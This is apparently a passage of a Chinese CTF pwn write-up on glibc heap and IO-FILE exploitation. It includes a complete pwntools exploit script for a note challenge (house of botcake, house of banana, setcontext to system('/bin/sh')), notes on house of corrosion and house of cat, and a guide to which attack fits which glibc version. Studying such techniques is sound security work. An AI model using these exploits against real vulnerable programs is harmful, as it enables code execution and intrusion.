payload += p64(bin_sh)# rsp
payload += p64(0)
payload += p64(system)
payload += '\x00'*0x80
payload += p64(fake_heap_addr + 0x28 + 0x18)# rdx+0xa0 rsp
payload += p64(pop_rdi)# rdx+0xa8 rcx
payload = payload.ljust(0x100,'\x00')

payload += p64(fake_heap_addr + 0x10 + 0x110)*0x3# 
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x00')
payload += p8(0x8)

edit(2,payload)
edit(1,'a'*0x420 + p64(fake_heap_addr + 0x20))# call setcontext

sla('>>','5')
sla('name:','e4l4')

p.interactive()

note2

来自2022柏鹭杯pwn2,2.35_0ubuntu3.1的版本

image-20220916124542017

题目限制了malloc的size范围,UAF漏洞,并且没有edit功能,这里小size就用house of botcake来实现任意地址申请

image-20220916124737406

image-20220916124828658

后续就考虑house of banana,做题的时候因为fgets回车输入导致rtld_gloabl某些变量被覆盖,导致出错,要注意。

# _*_ coding:utf-8 _*_
from pwn import *
import sys
import struct
import os
import hashlib
from hashlib import sha256

# context.log_level = "debug"
context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']

# p = remote("39.101.69.5","12032")
# p = process('./ld-2.33.so ./TinyNote'.split(),env={'LD_PRELOAD':'./libc-2.33.so'})
p = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc.so.6")

def dbg():
    gdb.attach(p)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
#-----------------------------------------------------------------------------------------

def add(idx,size,con=''):
    sla("> ",1)
    sla("> ",idx)
    sla("> ",size)
    p.sendlineafter("Enter content: ",con)

def show(idx):
    sla("> ",3)
    sla("> ",idx)

def dele(idx):
    sla("> ",2)
    sla("> ",idx)


for i in range(10):
    add(i,0x90)

for i in range(8):
    dele(i)

# dele(0)
show(7)
libc_base = l64()-0x219ce0
lg('libc_base')
ret = libc_base + 0x0000000000029cd6
pop_rdi = libc_base +0x000000000002a3e5
pop_rsi = libc_base +0x000000000002be51
pop_rdx_r12 = 0x000000000011f497 + libc_base
setcontext = libc_base + libc.sym['setcontext']+61
rtld_global = libc_base + 0x26d040
bin_sh = libc_base + libc.search('/bin/sh\x00').next()
system =  libc_base + libc.sym['system']
IO_list_all = libc_base + 0x21a680
IO_wfile_jumps = libc_base + 0x2160c0


lg('rtld_global')
lg("system")
lg('IO_list_all')
lg('ret')
show(0)
key = u64(p.recv(5).ljust(8,'\x00'))
lg("key")
heap_base = key<<12
lg("heap_base")
dele(8)
add(0,0x90)
dele(8)

add(1,0xc0,'a'*0xa0+p64((rtld_global)^key))
add(2,0x90)
add(3,0x90,p64(heap_base+0x8d0)+p64(4)[:-1])
dele(9)

fake_heap_addr = heap_base + 0x8d0# rtl_global填的地址
payload  = p64(0) + p64(libc_base + 0x26e890)# _rtld_global+2440
payload += p64(0) + p64(fake_heap_addr)
payload += p64(setcontext) + p64(ret)# 用于call|这个地址会被赋值为rdx

payload += p64(bin_sh)# rsp
payload += p64(ret)
payload += p64(system)
payload += '\x00'*0x80
payload += p64(fake_heap_addr + 0x28 + 0x18)# rdx+0xa0 rsp
payload += p64(pop_rdi)# rdx+0xa8 rcx
payload = payload.ljust(0x100,'\x00')

payload += p64(fake_heap_addr + 0x10 + 0x110)*0x3# 
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x00')
payload += p8(0x8)+'\x00'*8

add(4,0x200,payload)
add(5,0x200,payload[0x210:])
add(6,0x98,'a'*0x90+p64(fake_heap_addr + 0x20))
sla("> ",4)
ia()

House of Corrosion(打global_max_fast)

house of corrosion 可以实现任意地址写任意值,算是largebinattack的上位,主要利用手法:

前置条件是劫持global_max_fast为大值

1.计算目标位置偏移size,申请相应size的堆(也可以直接伪造)

p &main_arena.fastbinsY
size位 = (delta * 2) + 0x20 //delta为目标地址与fastbinY的offset

2.free掉堆块(此时目标位置会写入该堆块的地址),编辑堆块的fd指针为要写入的值

3.申请回堆块实现攻击

在手里没有地址的情况下也可以实现任意地址写堆地址

作为一种工具,可以和多种技巧相结合:

  • 当在程序中没有 Show 函数,并且无法使用任意申请来打 stdout,可以考虑使用本方法来打 stdout,并且同时设置_flags、_IO_write_base、_IO_write_ptr、_IO_write_end 这四个位置写堆地址。

  • house of kiwi /emma 要注意IO_jump的距离如果过远,会导致size位过大难以伪造或申请,这时候可以换成IO_helper_jumps这种距离更近的跳表。

house of corrosion还可以实现libc上在fastbinsY之后的数据泄露。

利用 free 时会把此堆块置入 fastbin 的头部,所以 free 后在此堆块的 fd 位置的内容,就是目标位置之前的内容。通过show堆块就可以读取 LIBC 上某个位置的内容。

适用场景

劫持global_max_fast是前提,方法有很多

  • largebinattack写大值
  • 直接申请到global_max_fast
  • 题目自身功能

技巧杂谈

在适用这种方法配合别的IO打法,往往会用来改topchunksize配合触发错误流。先伪造一个0xc1的chunk,触发的时候要注意可申请size的范围,如果无范围那直接申请0xffff即可,有范围限制的话,就要注意把global_max_fast改回来。

for i in range(8):
      edit(8, '\x00' * 0x88 + p64(0xC1) + '\x00' * 0x10)
      dele(21)
edit(22, p64(0x80))
add(0x300)

house of cat

利用链

__malloc_assert->__fxprintf->locked_vfxprintf->__vfprintf_interna->__vfprintf_internal
->_IO_wfile_seekoff->_IO_switch_to_wget_mode(_IO_WOVERFLOW)

//_IO_WOVERFLOW是一个宏调用函数
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
//这里的rdi指向IO结构体头部
0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

适用场景

2.31~

利用技巧

可以通过构造堆风水,可以实现仅用一次largebinattack实现无exit场景下的IO攻击(劫持stderr为堆地址)

同时也兼容FSOP,改偏移即可

注意事项:

1.进入_IO_wfile_seekoff函数时,rcx需是有值的,否则无法跳转_IO_switch_to_wget_mode

参考题目:https://blog.e4l4.com/posts/id=39/

参考文章:https://bbs.pediy.com/thread-273895.htm

小结

暂时IO利用就到一段落了,后续遇到题就继续补充^^

  • 2.23 版本:由于对 vtable 的位置没有检测,可以在任意可控位置伪造一个 vtable,可以利用例如house of orange(FSOP)

  • 2.27 版本:对 vtable 的位置有了检测,考虑利用_IO_str_finsih 和 _IO_str_overflow这2张表,利用其中的某些函数修改为 system实现调用。

  • 2.28 - 2.33 版本:2.31以后开始有了key,但因为还是有hook,可以考虑House of pig。也可以纯IO,house of kiwi。

  • 2.34以后版本:没有了free_hook和malloc_hook,就不考虑劫持hook,根据是否可以执行刷新流,可以就者用house of banana,house of pig 以及house of emma,不可以就用house of kiwi